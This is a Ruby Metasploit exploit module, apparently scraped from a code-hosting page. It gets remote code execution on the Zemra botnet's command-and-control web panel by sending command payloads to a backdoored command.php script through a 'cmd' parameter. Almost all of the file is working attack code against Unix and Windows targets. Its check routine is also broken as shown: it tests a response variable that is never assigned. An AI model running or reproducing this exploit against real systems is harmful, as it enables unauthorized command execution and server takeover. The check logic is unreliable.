89 lines
2.6 KiB
Ruby
89 lines
2.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
|
|
inside its leaked source code. Zemra is a crimeware bot that can be used to
|
|
conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Jay Turla <@shipcod3>', #Metasploit Module
|
|
'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)
|
|
'Darren Martyn <@info_dox>' #Initial Discovery
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'http://0day.today/exploit/19259'],
|
|
['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro
|
|
['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 10000,
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd'
|
|
}
|
|
},
|
|
'Platform' => %w{ unix win },
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
['zemra panel / Unix', { 'Platform' => 'unix' } ],
|
|
['zemra panel / Windows', { 'Platform' => 'win' } ]
|
|
],
|
|
'DisclosureDate' => 'Jun 28 2012',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),
|
|
],self.class)
|
|
end
|
|
|
|
def check
|
|
txt = Rex::Text.rand_text_alpha(8)
|
|
http_send_command(txt)
|
|
if res && res.body =~ /cmd/
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def http_send_command(cmd)
|
|
uri = normalize_uri(target_uri.path.to_s)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => uri,
|
|
'vars_get' =>
|
|
{
|
|
'cmd' => cmd
|
|
}
|
|
})
|
|
unless res && res.code == 200
|
|
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
|
end
|
|
res
|
|
end
|
|
|
|
def exploit
|
|
http_send_command(payload.encoded)
|
|
end
|
|
end
|